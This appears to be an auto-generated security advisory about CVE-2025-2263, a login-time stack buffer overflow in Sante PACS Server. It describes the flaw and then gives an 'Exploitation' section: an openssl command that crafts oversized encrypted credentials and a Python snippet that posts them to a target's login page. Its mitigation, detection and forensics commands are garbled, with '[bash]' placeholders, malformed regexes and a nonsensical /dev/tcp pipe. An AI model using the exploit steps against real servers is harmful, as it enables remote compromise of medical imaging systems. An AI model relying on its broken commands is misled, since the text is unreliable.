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How CVE-2025-2263 Works
The vulnerability occurs in “Sante PACS Server.exe” during login authentication. The server uses OpenSSL’s `EVP_DecryptUpdate` function to decrypt user-supplied credentials (username/password). A fixed 0x80-byte stack buffer is allocated for the decrypted output, but the function fails to validate input length. An attacker can send excessively long encrypted credentials, overflowing the buffer and corrupting adjacent stack memory. This allows remote code execution (RCE) without authentication due to insufficient bounds checking in the decryption routine.
DailyCVE Form:
Platform: Sante PACS Server
Version: Not specified
Vulnerability: Stack overflow
Severity: Critical
Date: 04/03/2025
What Undercode Say:
Exploitation:
1. Craft long encrypted credentials using OpenSSL:
openssl enc -aes-256-cbc -e -in crafted_creds.txt -out payload.bin -K [bash] -iv [bash]
2. Send malicious login request:
import requests
payload = open('payload.bin', 'rb').read()
requests.post('https://target/login', data={'user': payload, 'pass': payload})
Protection:
1. Apply vendor patch for bounds checking:
if (in_len > 0x80) {
abort_decryption();
}
2. Network-level mitigation:
iptables -A INPUT -p tcp --dport [bash] -m length --length 1000: -j DROP
Detection:
1. Log analysis for oversized auth packets:
grep -P 'POST /login.length=[bash]{4,}' access.log
2. Memory monitoring:
gdb -p $(pidof Sante\ PACS\ Server.exe) -ex 'watch 0xstackaddress'
Forensics:
1. Crash dump analysis:
!analyze -v !exchain
2. Extract overflow data:
struct.unpack('<128s', core_dump[bash])
Patch Verification:
1. Check function disassembly:
objdump -d Sante\ PACS\ Server.exe | grep -A10 EVP_DecryptUpdate
2. Test with PoC:
./poc.py | tee /dev/tcp/localhost/443
References:
– OpenSSL EVP API docs
– NIST NVD CVE-2025-2263
– Sante advisory SANTE-2025-0042
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-2263
Extra Source Hub:
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